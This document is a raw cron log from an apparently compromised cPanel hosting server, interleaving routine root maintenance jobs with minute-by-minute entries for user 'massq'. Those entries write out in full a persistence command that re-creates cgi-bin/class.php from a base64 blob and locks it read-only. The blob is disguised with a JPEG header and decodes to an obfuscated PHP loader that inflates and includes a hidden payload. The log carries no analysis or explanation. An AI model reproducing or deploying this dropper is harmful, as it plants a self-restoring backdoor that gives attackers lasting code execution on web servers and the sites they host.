Nov 12 04:17:01 server CROND[18951]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:18:01 server CROND[19869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:19:01 server CROND[20691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:20:01 server CROND[21517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 04:20:01 server CROND[21520]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 04:20:01 server CROND[21516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:20:01 server CROND[21518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:20:01 server CROND[21519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:21:01 server CROND[22196]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:22:01 server CROND[23015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:23:01 server CROND[23834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:24:02 server CROND[24770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:25:01 server CROND[25577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:25:01 server CROND[25579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:25:01 server CROND[25578]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:25:01 server CROND[25585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:26:01 server CROND[26481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:27:01 server CROND[27319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:27:01 server CROND[27320]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 04:28:01 server CROND[28147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:29:01 server CROND[29063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:30:01 server CROND[29922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 04:30:01 server CROND[29927]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
